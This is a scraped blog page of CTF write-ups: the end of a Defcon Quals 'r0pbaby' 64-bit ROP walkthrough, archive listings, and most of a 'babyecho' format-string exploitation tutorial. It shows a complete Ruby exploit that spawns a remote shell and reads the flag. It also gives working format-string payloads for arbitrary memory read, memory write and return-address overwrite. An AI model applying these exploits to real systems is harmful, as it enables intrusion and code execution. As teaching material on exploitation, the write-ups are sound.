    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCC\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb -q ./r0pbaby ./core
    [...]
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It's still crashing in the same place! We don't have to check rax, we know it'll be 0x4343434343434343 ("CCCCCCCC") again. But let's check out if rdi is right:

    (gdb) print/x $rdi
    $2 = 0x7ffff79a307c
    (gdb) x/s $rdi
    0x7ffff79a307c: "/bin/sh"
    

    All right, the parameter is set properly!

    One last step: Replace the return address ("CCCCCCCC") with the address of system 0x00007ffff7883960:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x60\x39\x88\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    

    Unfortunately, you can't return into system(). I couldn't figure out why, but on Twitter Jan Kadijk said that it's likely because system() ends when it sees the end of file (EOF) marker, which makes perfect sense.

    So in the interest of proving that this actually returns to a function, we'll call printf (0x00007FFFF7892F10) instead:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x10\x2f\x89\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Enter bytes to send (max 1024): 1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    /bin/sh
    

    It prints out its first parameter - "/bin/sh" - proving that printf() was called and therefore the return chain works!

    The exploit

    Here's the full exploit in Ruby. If you want to run this against your own system, you'll have to calculate the offset of the "/bin/sh" string and the handy-dandy gadget first! Just find them in IDA or objdump or whatever and subtract the address of system() from them.

    #!/usr/bin/ruby
    
    require 'socket'
    
    SH_OFFSET_REAL = 0x13669b
    SH_OFFSET_MINE = 0x11f71c
    
    GADGET_OFFSET_REAL = 0xb3e39
    GADGET_OFFSET_MINE = 0xa7969
    
    #HOST = "localhost"
    HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
    
    PORT = 10436
    
    s = TCPSocket.new(HOST, PORT)
    
    # Receive until the string matches the regex, then delete everything
    # up to the regex
    def recv_until(s, regex)
      buffer = ""
    
      loop do
        buffer += s.recv(1024)
        if(buffer =~ /#{regex}/m)
          return buffer.gsub(/.*#{regex}/m, '')
        end
      end
    end
    
    # Get the address of "system"
    puts("Getting the address of system()...")
    s.write("2\n")
    s.write("system\n")
    system_addr = recv_until(s, "Symbol system: ").to_i(16)
    puts("system() is at 0x%08x" % system_addr)
    
    # Build the ROP chain
    puts("Building the ROP chain...")
    payload = "AAAAAAAA" +
      [system_addr + GADGET_OFFSET_REAL].pack("<Q") + # address of the gadget
      [system_addr].pack("<Q") +                      # address of system
      [system_addr + SH_OFFSET_REAL].pack("<Q") +     # address of "/bin/sh"
      ""
    
    # Write the ROP chain
    puts("Sending the ROP chain...")
    s.write("3\n")
    s.write("#{payload.length}\n")
    s.write(payload)
    
    # Tell the program to exit
    puts("Exiting the program...")
    s.write("4\n")
    
    # Give sh some time to start
    puts("Pausing...")
    sleep(1)
    
    # Write the command we want to run
    puts("Attempting to read the flag!")
    s.write("cat /home/r0pbaby/flag\n")
    
    # Receive forever
    loop do
      x = s.recv(1024)
    
      if(x.nil? || x == "")
        puts("Done!")
        exit
      end
      puts(x)
    end
    

    [update] Or... do it the easy way

    After I posted this, I got a tweet from @gaasedelen informing me that libc has a "magic" address that will literally call exec() with "/bin/sh", making much of this unnecessary for this particular level. You can find it by seeing where the "/bin/sh" string is referenced. You can return to that address and a shell pops.

    But it's still a good idea to know how to construct a ROP chain, even if it's not strictly necessary. :)

    Conclusion

    And that's how to perform a ROP attack against a 64-bit binary! I'd love to hear feedback!

    3 thoughts on “Defcon Quals: r0pbaby (simple 64-bit ROP)

    1. Reply

      hasherezade

      Awesome writeup, it was a pleasure to read. Thanks!

    2. Reply

      joey

      and if the bug is in str* functions and we can't have null bytes in the exploit string?

    3. Reply

      0x3f97

      I search for "pop rdi" in IDA (use ida pro 6.8 version) , but find nothing...

      How could i find a gadget?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### August » 2012 » SkullSecurity

    Using “Git Clone” to get Pwn3D

    Hey everybody! While I was doing a pentest last month, I discovered an attack I didn't previously know, and I thought I'd share it. This may be a Christopher Columbus moment - discovering something that millions of people already knew about - but I found it pretty cool so now you get to hear about […]

    #####EOF##### March » 2019 » SkullSecurity

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody, In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page. This post will be more […]

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    #####EOF##### Defcon Quals: babyecho (format string vulns in gory detail) » SkullSecurity


    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

    You can grab the binary here, and you can get my exploit and some other files on this Github repo.

    How printf works

    Before understanding how a format string vulnerability works, we first have to understand what a format string is. This is a pretty long and detailed section (can you believe I initially wrote "this will be quick" before I got going?), but if you have a decent idea of how the stack and how printf() work, then you can go ahead and skip to the next section.

    So... what is a format string exactly? A format string is something you see fairly frequently in code, and looks like this:

    printf("The total of %s is %d", str, num);
    

    Essentially, there are a bunch of functions in libc and elsewhere - printf(), sprintf(), and fprintf() to name a few - that require a format string and then 0 or more arguments. In the case of above, the format string is "The total of %s is %d" and the parameters are "str" and "num". The printf() function replaces the %s with the first argument - a pointer to a string - and %d with the second argument - an integer.

    To understand how this works, it helps to understand how the stack works. Check out my post on r0pbaby if you want more general information on stacks (this is going to be targeted specifically at how printf() uses it).

    Let's jump right in and look at what the assembly version of that code snippit might look like:

    push num
    push str
    push "The total of %s is %d" ; you can't actually do this in assembly
    call printf
    add esp, 0x0c
    

    Essentially, this code pushes three arguments onto the stack - the same three arguments that you would pass to printf() in C - for a total of 12 bytes (we're assuming x86 here, but x64 works almost identically). Then it calls printf(). After printf() does its thing and returns, 0x0c (12) is added to the stack - essentially removing the three variables that were pushed (three pushes = 12 bytes onto the stack, subtracting 12 = 12 bytes off the stack).

    When printf() starts, it doesn't technically know how many arguments it received. Much like when we discuss ROP (return-oriented programming), the important thing is this: when we reach line 1 of printf(), printf() assumes everything is set up properly. It doesn't know how many arguments were passed, and it doesn't know where it was called from - it just knows that it's starting and it's supposed to do its thing, otherwise people will be upset.

    So when printf() runs, it grabs the format string from the stack. It looks at how many format specifiers ("%d"/"%s"/etc.) it has, and starts reading them off the stack. It doesn't care if nobody put them there - as far as printf() is concerned, the stack is just a bunch of data, and it can read as far up into the data as it wants (till it hits the end).

    So let's say you do this (and I challenge you to find me a C programmer who hasn't at some point):

    $ cat > test.c
    
    #include <stdio.h>
    
    int main(int argc, const char *argv[])
    {
      printf("%x %x %x\n");
    
      return 0;
    }
    

    Then compile it:

    $ make test
    cc     test.c   -o test
    test.c: In function ‘main’:
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    

    Notice that gcc complains that you're doing it wrong, but they're only warnings! It's perfectly happy to let you try.

    Then run the program and marvel at the results:

    $ ./test
    ffffd9d8 ffffd9e8 40054a
    

    Now where the heck did that come from!?

    Well, as I already mentioned, we're reading whatever happened to be on the stack! Let's look at it one more way before we move on: we'll use a stack diagram like we did in r0pbaby to explain things.

    Let's say you have a function called func_a(). func_a() might look like this:

    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    

    When func_a() is called by another function, in assembly, it'll look like this:

    ; In C --> func_a(1000, 10);
    push 10
    push 1000
    call func_a
    add esp, 8
    

    and the stack will look like this immediately after the call to func_a() is made (in other words, when it's on the first line of func_a()):

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    | <-- esp points here
    +----------------------+
    +----------------------+
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    func_a() will look something like this:

    func_a:
      push ebp         ; Back up the old frame pointer
      mov ebp, esp     ; Create the new frame pointer
      sub esp, 0x10    ; Make room for 16 bytes of local vars
    
      mov [ebp-0x04], 0x123 ; Set a local var to 123
      mov [ebp-0x08], 0x41414141 ; "AAAA"
      mov [ebp-0x0c], 0x42424242 ; "BBBB"
      mov [ebp-0x10], 0x43434343 ; "CCCC"
    
      ; format_string would be stored elsewhere, like in .data
      push format_string ; "%x %x %x %x %x %x %x\n"
      call printf      ; Call printf
      add esp, 4       ; Remove the format string from the stack
    
      add esp, 0x10    ; Get rid of the locals from the stack
      pop ebp          ; Restore the previous frame pointer
      ret              ; Return
    

    It's important to note: this is assuming a completely naive compilation, which basically never happens. In reality, a few things would change; for example, local_e may be initialized differently (and likely be padded to 0x10 bytes), plus there will probably be some saved registers taking up space. That being said, the principles won't change - you might just have to mess around with addresses and experiment with the function.

    Looking at that code, you might see that the start and the end of the function are more or less mirrors of each other. It starts by saving ebp and making room on the stack, and ends with getting rid of the room and restoring the saved ebp.

    What's important, though, is what the stack looks like at the moment we call printf(). This is it:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    |
    +----------------------+
    |      [saved ebp]     | <-- From the "push ebp"
    +----------------------+
    |       0x123          | <-- local_d
    +----------------------+
    |        CCCC          |
    |        BBBB          | <-- local_e (12 bytes)
    |        AAAA          |        (remember, higher addresses are upwards)
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+ <-- esp points here
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    When printf() is called, its return address is pushed onto the stack, and it does whatever it needs to do with its own local variables. But here's the kicker: it thinks it has arguments on the stack! Here's printf()'s view of the function:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          |
    +----------------------+
    |         1000         | <-- seventh format parameter
    +----------------------+
    |     [return addr]    | <-- sixth format parameter
    +----------------------+
    |      [saved ebp]     | <-- fifth format parameter
    +----------------------+
    |       0x123          | <-- fourth format parameter
    +----------------------+
    |        CCCC          | <-- third format parameter
    |        BBBB          | <-- second format parameter
    |        AAAA          | <-- first format parameter
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+
    |     [return addr]    | <-- printf's return address
    +----------------------+ <-- esp points somewhere down here
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    So what's printf going to do? It's going to print "0x41414141" ("AAAA"), then "0x42424242" ("BBBB"), then "0x43434343" ("CCCC"), then "0x123", then the saved ebp value, then the return address, then "0x3e8" (1000).

    Why's printf() doing that? Because it doesn't know any better. You told it (in the format string) that it has arguments, so it thinks it has arguments!

    Just for fun, I decided to try running the program to see how close I was:

    $ cat > test.c
    #include <stdio.h>
    
    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    
    int main(int argc, const char *argv[])
    {
      func_a(1000, 10);
    
      return 0;
    }
    $ make test
    cc test.c   -o test
    $ ./test
    80495e4 fffffc68 80482c8 41414141 42424242 43434343 123
    

    End result: I was closer than I thought I'd be! There are three pointers (it looks like two pointers within the binary and one from the stack, if I had to guess) that come from who-knows-where, but the rest is there. I added five more "%x"s to the string to see if we could get the parameters:

    $ ./test
    80495f8 fffffc68 80482c8 41414141 42424242 43434343 123 b7fcc304 b7fcbff4 fffffc98 8048412 3e8 a
    

    There we go! We can see 0x3e8 (the first parameter, 1000), 0xa (the second parameter, 10), then 0x8048412 (which will be the return address) and 0xfffffc98 (which will be the saved ebp value). The two unknown values after (0xb7fcbff4 and 0xb7fcc304) are likely saved registers, which I confirmed with objdump:

    $ objdump -D -M intel test
    [...]
      40054a:       55                      push   rbp
      40054b:       48 89 e5                mov    rbp,rsp
      40054e:       48 83 ec 20             sub    rsp,0x20
      400552:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
      400555:       89 75 e8                mov    DWORD PTR [rbp-0x18],esi
      400558:       c7 45 fc 23 01 00 00    mov    DWORD PTR [rbp-0x4],0x123
    [...]
    

    printf() - the important bits

    We've seen how to read off the stack with a format-string vulnerability. What else can we do? At this point, we'll switch to the binary from the game for the remainder of the testing.

    The game binary is really easy.. it's a pretty standard format string vulnerability:

    $ ./babyecho
    Reading 13 bytes
    hello
    hello
    Reading 13 bytes
    %x
    d
    Reading 13 bytes
    %x %x %x
    d a 0
    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    

    Basically, it's doing printf(attacker_str) - simple, but a vulnerability. The right way to do it is printf("%s", atatcker_str) - that way, attacker_str won't be mistaken for a format string.

    The first important bit is that, with just that simple mistake in development, we can crash the binary:

    $ ./babyecho
    Reading 13 bytes
    %s
    Segmentation fault (core dumped)
    

    And we can read strings:

    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    $ ./babyecho
    Reading 13 bytes
    %x%x%x%x %s
    da0d %x%x%x%x %s
    

    ...confusingly, the string at 0xfffff87c was a pointer to the format string itself.

    And, with %n, we can crash another way:

    Reading 13 bytes
    %x%x%x%x %n
    da0d _n
    

    ...or can we? It looks like the level filtered out %n! But, of course, we can get around that if we want to:

    $ ./babyecho
    Reading 13 bytes
    %n
    _n
    Reading 13 bytes
    %hn
    Segmentation fault (core dumped)
    

    So we have that in our pocket if we need it. Let's talk about %n for a minute...

    %n? Who uses that?

    If you're a developer, you've most likely seen and used %d and %s. You've probably also seen %x and %p. But have you ever heard of %n?

    As far as I can tell, %n was added to printf() specifically to make it possible to exploit format string vulnerabilities. I don't see any other use for it, really.

    %n calculates the number of bytes printf() has output so far, and writes it to the appropriate variable. In other words, this:

    int a;
    printf("%n", &a);
    

    will write 0 to the variable a, because nothing has been output. This code:

    int a;
    printf("AAAA%n", &a);
    

    will write 4 to the variable a. And this:

    printf("%100x%n");
    

    will write the number 100 (%100x outputs a 100-byte hex number whose value is whatever happens to be next on the stack) to the address that happens to be second on the stack (right after the format string). If it's a valid address, it writes to that memory address. If it's an invalid address, it crashes.

    Guess what? That's basically an arbitrary memory write. We'll see more later!

    Cramming bytes in

    Now, let's talk about how we're only allowed 13 bytes for the challenge ("Reading 13 bytes"). 13 bytes isn't enough to do a proper format string exploit in many cases (sometimes it is!). To do a proper exploit, you need to be able to provide an address (4 bytes on 32-bit), %NNx to waste bytes (4-5 more bytes), and then %N$n (another 4-5 bytes). That's a total of 12 bytes in the best case. And, for reasons that'll become abundantly clear, you have to do it four times.

    That means we need a way to input longer strings! Thankfully, a 13-byte format string IS long enough to write a single byte to anywhere in memory. We'll do that in the next section, but first I want to introduce another printf() feature that was probably designed for hackers: %123$x.

    %123$x means "read the 123rd argument". The idea is that this is inefficient:

    printf("The value is %d [0x%02x]\n", value, value);
    

    so instead, you can save 4 bytes of stack memory (otherwise known as approximately 0.0000000125% of my total memory) and a push operation (somewhere around 1 clock cycle on my 3.2mhz machine) by making everything a little more confusing:

    printf("The value is %d [0x%1$02x]\n", value);
    

    Seriously, that actually works. You can try it!

    The cool thing about that is instead of only being able to access six stack elements ("%x%x%x%x%x%x%"), we can read any variable on the stack! Check out how much space it saves:

    Reading 13 bytes
    %x%x%x%x %x
    da0d ffffc69c
    Reading 13 bytes
    %5$x
    ffffc69c
    

    Starting to build the exploit

    Let's write a quick bash script to print off %1$x, %2$x, %3$x, ...etc:

    $ for i in `seq 1 200`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep -v Reading | grep -v '0x0$'
    1:0xd
    2:0xa
    4:0xd
    5:0xffffc69c
    7:0x78303a37
    8:0x78243825
    135:0xffffc98c
    136:0x8048034
    138:0x80924d1
    139:0x80704fd
    140:0xffffc90a
    154:0x80ea570
    155:0x18
    157:0x2710
    158:0x14
    159:0x3
    160:0x28
    161:0x3
    163:0x38
    165:0x5b
    167:0x6e
    169:0x77
    171:0x7c
    175:0x80ea540
    ...
    

    If you run it a second time and any values change, be sure you turn off ASLR. It's totally possible to write an exploit for this challenge that assumes ASLR is on, but it's easier to explain one thing at a time. :)

    Arbitrary memory read

    The values at offset 7 and 8 are actually interesting.. let's take a quick look at them:

    $ ./babyecho
    Reading 13 bytes
    %7$x
    78243725
    

    What's going on here?

    It's printing the hex number 0x78243725, which is the 7th thing on the stack. Since it's little endian, that's actually "25 37 24 78" in memory, which, if you know your ASCII, is "%7$x". That looks a bit familiar, eh? The first 4 bytes of the string?

    Let's try making the first 4 bytes of the string something more recognizable:

    $ ./babyecho
    Reading 13 bytes
    AAAA -> %7$x
    AAAA -> 41414141
    Reading 13 bytes
    ABCD -> %7$x
    ABCD -> 44434241
    

    So it's printing the first 4 bytes of itself! That's extremely important, because if we now change %...x to %...s, we get:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$s' | ./babyecho
    
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    ...a crash! And if we investigate the crash:

    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0807f134 in ?? ()
    (gdb) x/i $eip
    => 0x807f134:   repnz scas al,BYTE PTR es:[edi]
    (gdb) print/x $edi
    $1 = 0x41414141
    

    We determine that it crashed while trying to read edi, which is 0x41414141. And we can use any address we want - for example, I grabbed a random string from IDA - 0x080C1B94 - so let's encode that in little endian and use it:

    $ echo -e '\x94\x1b\x0c\x08%7$s' | ./babyecho
    Reading 13 bytes
    ../sysdeps/unix/sysv/linux/getcwd.c
    

    It prints out the string! If I really want to, I can chain together a few:

    $ echo -e '\x06\x1d\x0c\x08%7$s\n\x1f\x1d\x0c\x08%7$s\n' | ./babyecho
    Reading 13 bytes
    buffer overflow detected
    Reading 13 bytes
    stack smashing detected
    

    It didn't really detect any of those, of course - I'm just printing out those strings for fun :)

    Arbitrary memory write

    That's an arbitrary memory read. And as a side effect, we've also bypassed ASLR if that's applicable (in this level, it's not really).

    Now let's go back to our code that tried to read 0x41414141 ("AAAA%7$s") and change the %..s to a %..n:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    no surprise there.. let's see what happened:

    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x08080c2a in ?? ()
    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $eax
    $1 = 0x41414141
    (gdb) print/x $ecx
    $2 = 0x4
    

    So it crashed while trying to write 0x4 - a value we sort of control - into 0x41414141 - a value we totally control.

    Of course, writing the value 0x4 every time is boring, but we can change to anything - let's try to make it 0x80:

    $ echo -e 'AAAA%124x%7$n' | ./babyecho
    Reading 13 bytes
    AAAA                                                                                                                           d%
    Reading 13 bytes
    
    Reading 13 bytes
    

    Uh oh! What happened?

    Unfortunately, that string is one byte too long, which means the %n isn't getting hit. We need to deal with this pesky length problem!

    Making it longer

    The maximum length for the string is 13 - 0x0d - bytes. Presumably that value is stored on the stack somewhere, and it is:

    $ for i in `seq 1 2000`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep ":0xd$"
    1:0xd
    4:0xd
    246:0xd
    385:0xd
    

    The problem is, to write that, we need an absolute address. "AAAA%7$n" writes to the address "AAAA", but we need to know which address those 0xd's live at.

    There are a lot of different ways to do this, but none of them are particularly nice. One of the easiest ways is to use one of those corefiles from earlier, grab the 'esp' register (the stack pointer), and read upwards from esp till we hit the top of the stack.

    The most recent corefile was caused by trying to write to 0x41414141, which is just fine. We're going to basically read everything on the stack at the time it crashed (somewhere in printf()):

    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $esp
    $2 = 0xffff9420
    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffff9460:     0x00000000      0x0000000d      0x00000000      0x00000000
    ...
    0xffffc690:     0x0000000d      0xffffc69c      0x00000000      0x41414141
    0xffffc680:     0xffffc69c      0x0000000d      0x0000000a      0x00000000
    ...
    0xffffca50:     0x00000028      0x00000007      0x0000000d      0x00008000
    0xffffdff0:     0x65796261      0x006f6863      0x00000000      0x00000000
    0xffffe000:     Cannot access memory at address 0xffffe000
    

    So we have five instances of 0x0000000d:

    • 0xffff9440
    • 0xffff9464
    • 0xffffc684
    • 0xffffc690
    • 0xffffca58

    We try modifying each of them using our %n arbitrary write to see what happens:

    $ echo -e '\x40\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x64\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x84\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x90\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 4 bytes
    

    Aha! We were able to overwrite the length value with the integer 4. Obviously we don't want 4, but because of the 13-byte limit the best we can do is 99 more:

    $ echo -e '\x90\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 103 bytes
    

    or is it? We can actually mess with a different byte. In other words, instead of changing the last byte - 0x000000xx - we change the second last - 0x0000xx00 - which will be at the next address:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    

    1023 bytes is pretty good! That's plenty of room to build a full exploit.

    Controlling eip

    The next step is to control eip - the instruction pointer, or the thing that says which instruction needs to run. Once we control eip, we can point it at some shellcode (code that gives us full control).

    The easiest way to control eip is to overwrite a return address. As we learned somewhere wayyyyyyy up there, return addresses are stored on the stack the same way the length value was stored. And we can find it the same way - just go to where it crashed and find it.

    We'll use the same ol' value to crash it:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    $ gdb ./babyecho ./core
    ...
    (gdb) bt
    #0  0x08080c2a in ?? ()
    #1  0x08081bb0 in ?? ()
    #2  0x0807d285 in ?? ()
    #3  0x0804f580 in ?? ()
    #4  0x08049014 in ?? ()
    #5  0x0804921a in ?? ()
    #6  0x08048d2b in ?? ()
    

    "bt" - or "backtrace" - prints the list of functions that were called to get to where you are. The call stack. If we can find any of those values on the stack, we can overwrite it and win. I arbitrarily chose 0x08081bb0 and found it at 0xffffa054, but it didn't work. Rather than spend a bunch of time troubleshooting, I found 0x0807d285 instead:

    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffffc140:     0x080ea200      0x080ea00c      0xffffc658      0x0807d285
    

    It's stored at 0xffffc14c. Let's try changing it to something else:

    $ echo -e '\x4c\xc1\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00000004 in ?? ()
    

    We overwrote the return address with 4, just like we'd expect! Let's chain together the two exploits - the one for changing the length and the one for changing the return address (I'm quoting the strings separately to make it more clear, but bash will automatically combine them):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%10000x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    L...
    [...lots of empty space...]
    3ffSegmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00002714 in ?? ()
    

    0x2714 = 10004 - so we can definitely control the return address!

    Writing four bytes

    When we're running it locally, we can also go a little crazy:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%1094795581x%7$n' | ./babyecho > /dev/null
    segmentation fault
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    We use %1094795581x to write 0x4141413d bytes to stdout, then %7$n writes 0x41414141 to the return address. The problem is, if we were running that over the network, we'd have to wait for them to send us 1,094,795,581 or so bytes, which is around a gigabyte, so that's probably not going to happen. :)

    What we need is to provide four separate addresses. We've been using %7$n all along to access the address identified by the first four bytes of the string:

    "AAAA%7$n"
    

    But we can actually do multiple addresses:

    "AAAABBBBCCCCDDDD%7$n%8$n%9$n%10$n"
    

    That will try writing to the 7th thing on the stack - 0x41414141. If that succeeds, it'll write to the 8th thing - 0x42424242 - and so on. We can prove that by using %..x instead of %..n:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''AAAABBBBCCCCDDDD << %7$x * %8$x * %9$x * %10$x >>' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    AAAABBBBCCCCDDDD << 41414141 * 42424242 * 43434343 * 44444444 >>
    

    As expected, the 7th, 8th, 9th, and 10th values on the stack were "AAAA", "BBBB", "CCCC", and "DDDD". If that doesn't make sense, go take a look at func_a(), which was one of my first examples, and which put AAAA, BBBB, and CCCC onto the stack.

    Now, since we can write to multiple addresses, instead of doing a single gigabyte of writing, we can do either two or four short writes. I'll do four, since that's more commonly seen. That means we're going to do something like this (once again, I'm adding quotes to make it clear what's happening, they'll disappear):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n'
    

    Breaking it down:

    • The first 16 bytes are the four addresses - 0xffffc14c, 0xffffc14d, 0xffffc14e, and 0xffffc14f. Something interesting to note is that 0xffffc150 - 0xffffc152 will also get overwritten, but we aren't going to worry about those
    • "%49x" will output 49 bytes. This is simply to pad our string to a total of 65 - 0x41 - bytes (49 bytes here + 16 bytes worth of addresses)
    • "%7$n" will write the value 0x41 - the number of bytes that have so far been printed - to the first of the four addresses, which is 0x41414141 ("AAAA")
    • "%8$n" will write 0x41 - still the number of printed bytes so far - to the second address, 0x42424242
    • "%9$n" and "%10$n" do exactly the same thing to 0x43434343 and 0x44444444

    Let's give it a shot (I'm going to start redirecting to /dev/null, because we really don't need to see the crap being printed anymore):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Reading symbols from ./babyecho...(no debugging symbols found)...done.
    [New LWP 2662]
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    Sweet! It worked!

    What happens if we want to write four different bytes? Let's say we want 0x41424344...

    In memory, 0x41424344 is "44 43 42 41". That means we have to write 44, then 43, then 42, then 41.

    0x44 is easy. We know we're writing 16 bytes worth of addresses. To go from 16 to 0x44 (68) is 52 bytes. So we put "%52x%7$n" and our return address looks like this:

    ?? ?? ?? ?? [44 00 00 00] ?? ?? ?? ??
    

    Next, we want to write 0x43 to the next address. We've already output 0x44 bytes, so to output a total of 0x43 bytes, we'll have to wrap around. 0x44 + 0xff (255) = 0x0143. So if we use "%255x%8$n", we'll write 0x0143 to the next address, which will give us the following:

    ?? ?? ?? ?? [44 43 01 00] 00 ?? ?? ??
    

    Two things stick out here: first, there's a 0x01 that shouldn't be there. But that'll get overwritten so it doesn't matter. The second is that we've now written one byte *past* our address. That means we're killing a legitimate variable, which may cause problems down the road. Luckily, in this level it doesn't matter - sucks to be that variable!

    All right, so we've done 0x44 and 0x43. Now we want 0x42. To go from 0x43 to 0x42 is once again 0xff (255) bytes, so we can do almost the same thing: "%255x%9$n". That'll make the total number of bytes printed 0x0242, and will make our return address:

    ?? ?? ?? ?? [44 43 42 02] 00 00 ?? ??
    

    Finally, to go from 0x42 to 0x41, we need another 255 bytes, so we do the same thing one last time: "%255x%10$n", and our return address is now:

